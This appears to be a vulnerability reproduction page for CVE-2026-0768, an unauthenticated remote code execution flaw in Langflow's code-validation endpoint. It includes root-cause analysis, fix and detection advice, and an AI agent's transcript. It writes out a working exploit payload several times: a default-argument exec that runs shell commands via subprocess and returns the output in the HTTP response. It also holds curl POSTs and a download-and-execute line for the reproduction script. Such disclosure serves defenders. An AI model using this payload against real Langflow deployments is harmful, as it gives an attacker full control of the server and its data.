CVE-2026-0768: Verified Reproduction
CVE-2026-0768: Langflow contains an unauthenticated remote code execution vulnerability in the validate endpoint that can lead to arbitrary Python code execution as root.
CVE-2026-0768 is verified against langflow-ai/langflow · PyPI. Affected versions: Endpoint fully unauthenticated in langflow <= 1.2.x; exec(code_obj) of user code persists through >= 1.8.0-rc. NO COMPLETE FIX EXISTS. Fixed in unknown. Vulnerability class: RCE. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00342.
What Is CVE-2026-0768?
CVE-2026-0768 is a critical-severity RCE vulnerability affecting langflow-ai/langflow Endpoint fully unauthenticated in langflow <= 1.2.x; exec(code_obj) of user code persists through >= 1.8.0-rc. NO COMPLETE FIX EXISTS.. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00342).
CVE-2026-0768 Severity & CVSS Score
CVE-2026-0768 is rated critical severity, with a CVSS base score of 9.8 out of 10.
Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.
Affected langflow-ai/langflow Versions
langflow-ai/langflow · PyPI versions Endpoint fully unauthenticated in langflow <= 1.2.x; exec(code_obj) of user code persists through >= 1.8.0-rc. NO COMPLETE FIX EXISTS. are affected.
How to Reproduce CVE-2026-0768
pruva-verify REPRO-2026-00342 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00342/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-0768
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
Unauthenticated POST /api/v1/validate/code JSON body {"code": "def exploit(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\", shell=True))')): pass"} (plus @exec decorator variant and marker-writing commands)
- HTTP POST /api/v1/validate/code
- langflow validate_code()
- ast.parse
- compile+exec of top-level FunctionDef
- default-arg exec() evaluated at definition time
- subprocess.check_output(shell=True) in server process
- output exfiltrated in detail.function.errors[0]
How the agent worked
Root Cause and Exploit Chain for CVE-2026-0768
Langflow (<= 1.2.x, and partially thereafter) exposes POST /api/v1/validate/code without authentication. The endpoint calls validate_code() in src/backend/base/langflow/utils/validate.py, which ast.parse()s the attacker-supplied code field and then exec()s each top-level FunctionDef node after compiling it. Python evaluates default-argument expressions and decorators at function-definition time, so a function body that never runs still executes arbitrary expressions embedded in its default arguments or decorators. The endpoint's exception handler returns the resulting error text in the HTTP response (detail.function.errors[0]), giving a built-in exfiltration channel for command output — a fully non-blind, unauthenticated remote code execution.
- Package/component:
langflow(langflow.utils.validate.validate_code, reached from the/api/v1/validate/codeFastAPI route). - Affected versions: Unauthenticated on langflow <= 1.2.x (verified on the official image
v1.1.1). Version 1.3.0 (commitfaac4db, PR #6911) addedget_current_active_userauth to the route only —exec(code_obj)of user code survives, andLANGFLOW_AUTO_LOGIN=true(the default) auto-authenticates requests, so default 1.3.0+ deployments remain effectively unauthenticated. Any authenticated user retains RCE on 1.3.0+. No complete fix exists as of the disclosed range (survives through >= 1.8.0-rc per advisory). - Risk level: Critical (CVSS 9.8, CWE-94, ZDI-26-034 / ZDI-CAN-27322). Sibling CVE-2025-3248 (same endpoint, same root cause) is in CISA KEV.
Impact Parity
- Disclosed/claimed maximum impact: Unauthenticated arbitrary Python code execution in the Langflow server process (advisory says "as root"; in the official container image the process runs as
uid=1000(user) gid=0(root), i.e. full container compromise). - Reproduced impact from this run: Full parity — unauthenticated remote command execution. Two independent fresh Langflow 1.1.1 containers executed attacker-selected shell commands (
id) via the default-argumentexec()vector; outputuid=1000(user) gid=0(root) groups=0(root)was exfiltrated in the HTTP response JSON atdetail.function.errors[0]; each instance also wrote a unique marker file inside the container filesystem via the executed command (marker_outputevidence). A decorator-based vector (@exec(...)) triggered the identical sink, proving payload-shape agnosticism. - Parity:
full. - Not demonstrated: Nothing of the claimed impact is missing. (Note: the advisory's "as root" phrasing maps to
gid=0(root)container execution observed here; the server process itself runs as uid 1000 in the official image.)
Root Cause
- The route
POST /api/v1/validate/code(langflow <= 1.2.x) has no authentication dependency. validate_code()runsast.parse(code), then for each top-levelFunctionDefnode:code_obj = compile(ast.Module(body=[node], type_ignores=[]), '<string>', 'exec'); exec(code_obj)— deliberately executing user code to "validate" it.- Python evaluates default-argument expressions and decorator expressions when the
defstatement executes, not when the function is called. An attacker embedsexec('raise Exception(__import__("subprocess").check_output("id", shell=True))')in a default argument; it runs duringexec(code_obj)inside the server process. - The raised
Exceptiontext (containing the command output) is captured by the endpoint's error handling and returned to the attacker indetail.function.errors[0]— a response-side exfiltration channel making the RCE non-blind. - Partial fix: langflow 1.3.0 (commit
faac4db, PR #6911) addedget_current_active_userto the route. BecauseLANGFLOW_AUTO_LOGIN=trueis the default, requests are auto-authenticated and the same payload still executes on default 1.3.0 deployments (verified in this run). WithLANGFLOW_AUTO_LOGIN=false, the same request is rejected with HTTP 403An API key must be passed as query or headerand no code executes.
Reproduction Steps
- Script:
bundle/repro/reproduction_steps.sh(self-contained; run withbash bundle/repro/reproduction_steps.sh). Two consecutive successful runs confirmed idempotency (exit 0 both times). - What it does:
- Pulls digest-pinned official images: vulnerable
langflowai/langflow@sha256:b56d4cfe...(v1.1.1) and fixedlangflowai/langflow@sha256:8c124064...(1.3.0). - Starts four fresh containers: two vulnerable (
LANGFLOW_AUTO_LOGIN=true), one fixed withLANGFLOW_AUTO_LOGIN=false(auth enforced), one fixed with defaults (auto-login). - Waits for
GET /health=={"status":"ok"}on each. - Vulnerable attempts (x2): sends the exact contract payload
{"code": "def exploit(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\", shell=True))')): pass"}; asserts HTTP 200 anduid=indetail.function.errors[0]. - Marker-backed execution (x2 fresh instances): payload writes a unique marker file to
/tmp/pruva_marker.txtinside each container via the executed command; asserts marker bytes match anduid=is exfiltrated. - Decorator variant:
@exec(...)payload; asserts command output infunction.errors[0]. - Fixed negative control (x2): same payloads against auth-enforced 1.3.0; asserts 401/403, no
uid=, and no marker file created in the container. - Partial-fix documentation (control B): same payload against default 1.3.0 (auto-login); observes it still executes (expected partial-fix behavior, not a reproduction failure).
- Writes
bundle/repro/runtime_manifest.jsonwith target identity (image digests) and SHA-256 of all proof artifacts; cleans up containers.
- Pulls digest-pinned official images: vulnerable
- Expected evidence: HTTP 200 responses containing
b'uid=1000(user) gid=0(root) groups=0(root)\n'atdetail.function.errors[0], marker files with exact attacker-chosen bytes, and 403 rejection on the auth-enforced fixed build.
Evidence
All artifacts under bundle/ (paths relative to bundle root), SHA-256 map in bundle/repro/runtime_manifest.json:
logs/reproduction_steps.log— full run transcript (diagnostic).logs/repro/image_identity.txt— immutable image digests/arch used.logs/repro/containers.txt— live container listing.logs/repro/attempts/vuln_attempt_{1,2}_{request,response}.txt— primary payload and responses:{"imports":{"errors":[]},"function":{"errors":["b'uid=1000(user) gid=0(root) groups=0(root)\n'"]}}logs/repro/attempts/vuln_marker_{a,b}_{request,response}.txt,vuln_{a,b}_marker.txt— marker-backed command execution on two fresh instances (markersPRUVA-CMDEXEC-1788272103-6040-A/-B, exact bytes verified).logs/repro/attempts/vuln_variant_decorator_{request,response}.txt— decorator vector outputb'1000\n'(id -u).logs/repro/attempts/fixed_attempt_{1,2}_{request,response}.txt,negative_control_observation.json— 403{"detail":"An API key must be passed as query or header"}, marker absent.logs/repro/attempts/fixed_auto_attempt_1_{request,response}.txt— 1.3.0 default deployment still executes (partial fix).
Environment: Docker (overlay2) on linux/x86_64; official images langflowai/langflow v1.1.1 (digest sha256:b56d4cfe18284e9fb2f1ec2d1bc9a29107a8c893397543e4937a55cda0136cd3) and 1.3.0 (digest sha256:8c124064a4410ceff7a7ffbee3aec393e3b9fb2e3e43a163b537074143a38ca5); no sanitizers or instrumentation; plain HTTP via curl.
Exploit knowledge records (current run): primitive 9199a628-4fa2-4c50-9517-54e12e959e07 (control_flow_influence — full attacker control of executed Python via the validate_code exec sink) and derived capability c216aee7-41df-4f5f-b157-9fc7518764cf (command_execution, generic_runtime attestation, two marker-backed process samples + negative control). ⚠️ Record 2a7dbd1c-4e51-4243-87b6-0e8bfb97fe28 in bundle/repro/exploit_knowledge.json was an accidental placeholder submission ("address_disclosure", title "Placeholder") and is invalid — no address disclosure was observed in this run; it must be ignored by downstream stages and is not part of any composition.
Recommendations / Next Steps
- Fix: stop
exec()ing user-supplied code during validation. Validate withast.parse+ a strict allowlist walk over the AST (rejectingexec/eval/__import__/dunder attribute access anywhere in the tree — defaults, decorators, lambdas, comprehensions — not just function bodies), or run validation in a sandboxed subprocess with no network/fs and resource limits. Auth alone is not a fix. - Upgrade guidance: no complete fix exists in the disclosed range; 1.3.0+ only adds route auth, defeated by default
LANGFLOW_AUTO_LOGIN=true. SetLANGFLOW_AUTO_LOGIN=false+ API-key auth to at least force authentication, and restrict/api/v1/validate/codeat the reverse proxy/WAF. - Detection: requests to
/api/v1/validate/codewhose body contains default-arg/decoratorexec(/eval(/__import__(/subprocesspatterns; EDR: Langflow python worker spawning shell children.
Additional Notes
- Idempotency: the script removes prior containers, reclaims ports 27860–27863, rewrites attempt files, and passed two consecutive clean runs (exit 0, all checks green each time).
- Limitations: host ports are fixed (27860–27863) and must be free; the script checks and fails fast if occupied. First execution on a cold Docker cache pulls ~2 images (several minutes); subsequent runs reuse them. The 1.3.0 "fixed" image is a partial-fix control (route auth added), matching the advisory's affected/fix state — the exec sink itself remains exploitable post-auth, which is exactly what control B documents and what the vuln_variant stage can explore further.
- Marker evidence files were extracted with
docker exec cat(notdocker cp) to preserve worker file ownership in the bundle.
CVE-2026-0768 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
ls -la /pruva/project-cache/repo-mirrors/ && cat /pruva/project-cache/.pruva/cache_manifest.json && cat /workspace/bundle/ticket.json | head -100{"cwd":"/workspace","duration_ms":79,"exit_code":0,"stderr":"","stdout":"total 0\ndrwx------ 2 vscode vscode 40 Sep 1 13:49 .\ndrwx------ 4 vscode vscode 80 Sep 1 13:49 ..\n{\n \"schema_version\": 1,\n \"entries\": [\n {\n \"path\": \"repo-mirrors\",\n \"reuse_class\": \"repo\",\n \"provenance\": \"run_generated\"\n }\n ]\n}{\"claim\":{\"argus_claim_ref\":null,\"attacker_control\":\"unauthenticated attacker sends JSON body to /api/v1/validate/code containing Python code with malicious FunctionDef default arguments or decorators\",\"claimed_surface\":\"api_remote\",\"expected_impact\":\"code_execution\",\"finding_id\":null,\"id\":null,\"required_entrypoint_detail\":\"POST /api/v1/validate/code with JSON body {\\\"code\\\": \\\"def exploit(cd=exec('raise Exception(__import__(\\\\\\\"subprocess\\\\\\\").check_output(\\\\\\\"id\\\\\\\", shell=True))')): pass\\\"}\",\"required_entrypoint_kind\":\"endpoint\",\"submission_reason\":\"ticket_derived_llm\",\"trigger_class\":\"service_api\",\"upstream_verdicts\":{\"claim_extraction\":{\"confidence\":\"high\",\"model\":\"accounts/fireworks/models/kimi-k2p7-code\",\"reason\":\"Advisory describes unauthenticated POST /a… [truncated]docker --version; docker ps; echo ---; ls -la /workspace/bundle/logs/repro /workspace/bundle/logs/support /workspace/bundle/support 2>/dev/null; echo ---; ls /bundle 2>/dev/null; echo ---; python3 --version; node --version; df -h /workspace | tail -1; free -g | head -2Docker version 29.1.3, build 29.1.3-0ubuntu4.1 CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES --- /workspace/bundle/logs/repro: total 0 drwxr-xr-x 2 vscode vscode 40 Sep 1 13:49 . drwxr-xr-x 5 vscode vscode 100 Sep 1 13:49 ..
docker info 2>/dev/null | grep -E "Root Dir|Storage Driver|Total Memory"; echo ---; df -h /var/lib/docker 2>/dev/null | tail -1; docker pull langflowai/langflow:1.1.1 2>&1 | tail -3Storage Driver: overlay2 Total Memory: 31.28GiB Docker Root Dir: /home/rootless/.local/share/docker --- Error response from daemon: manifest for langflowai/langflow:1.1.1 not found: manifest unknown: manifest unknown
df -h /home/rootless/.local/share/docker | tail -1; echo ---; docker images; echo ---; for t in 1.1.1 v1.1.1 1.2.0 1.3.0 latest; do echo "== $t"; docker manifest inspect langflowai/langflow:$t >/dev/null 2>&1 && echo OK || echo MISSING; done--- IMAGE ID DISK USAGE CONTENT SIZE EXTRA pruva/rootless-readiness:docker-27 39a380ccc6ca 1.47MB 0B --- == 1.1.1 MISSING == v1.1.1 OK
docker pull langflowai/langflow:v1.1.1 2>&1 | tail -2Status: Downloaded newer image for langflowai/langflow:v1.1.1 docker.io/langflowai/langflow:v1.1.1
for i in $(seq 1 60); do s=$(curl -s -m 5 http://localhost:7860/health 2>/dev/null); if [ -n "$s" ]; then echo "health: $s"; break; fi; sleep 5; done; docker ps --format '{{.Names}} {{.Status}}'; docker logs lf-vuln 2>&1 | tail -5health: {"status":"ok"}
lf-vuln Up 27 seconds
│ We collect anonymous usage data to improve Langflow. │
│ You can opt-out by setting DO_NOT_TRACK=true in your environment. │
│ │
│ Access http://0.0.0.0:7860 │
╰───────────────────────────────────────────────────────────────────╯
cd /tmp && cat > poc.json <<'EOF'
{"code": "def exploit(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\", shell=True))')): pass"}
EOF
curl -s -m 60 -o /tmp/resp.json -w "HTTP %{http_code}\n" -X POST http://localhost:7860/api/v1/validate/code -H 'Content-Type: application/json' -d @poc.json; cat /tmp/resp.json | head -c 2000; echoHTTP 200
{"imports":{"errors":[]},"function":{"errors":["b'uid=1000(user) gid=0(root) groups=0(root)\\n'"]}}
Artifacts and Evidence for CVE-2026-0768
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-0768
Upgrade langflow-ai/langflow · PyPI to unknown or later.
FAQ: CVE-2026-0768
Is CVE-2026-0768 exploitable?
How severe is CVE-2026-0768?
What type of vulnerability is CVE-2026-0768?
Which versions of langflow-ai/langflow are affected by CVE-2026-0768?
Is there a fix for CVE-2026-0768?
How can I reproduce CVE-2026-0768?
Is the CVE-2026-0768 reproduction verified?
References for CVE-2026-0768
Authoritative sources for CVE-2026-0768 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.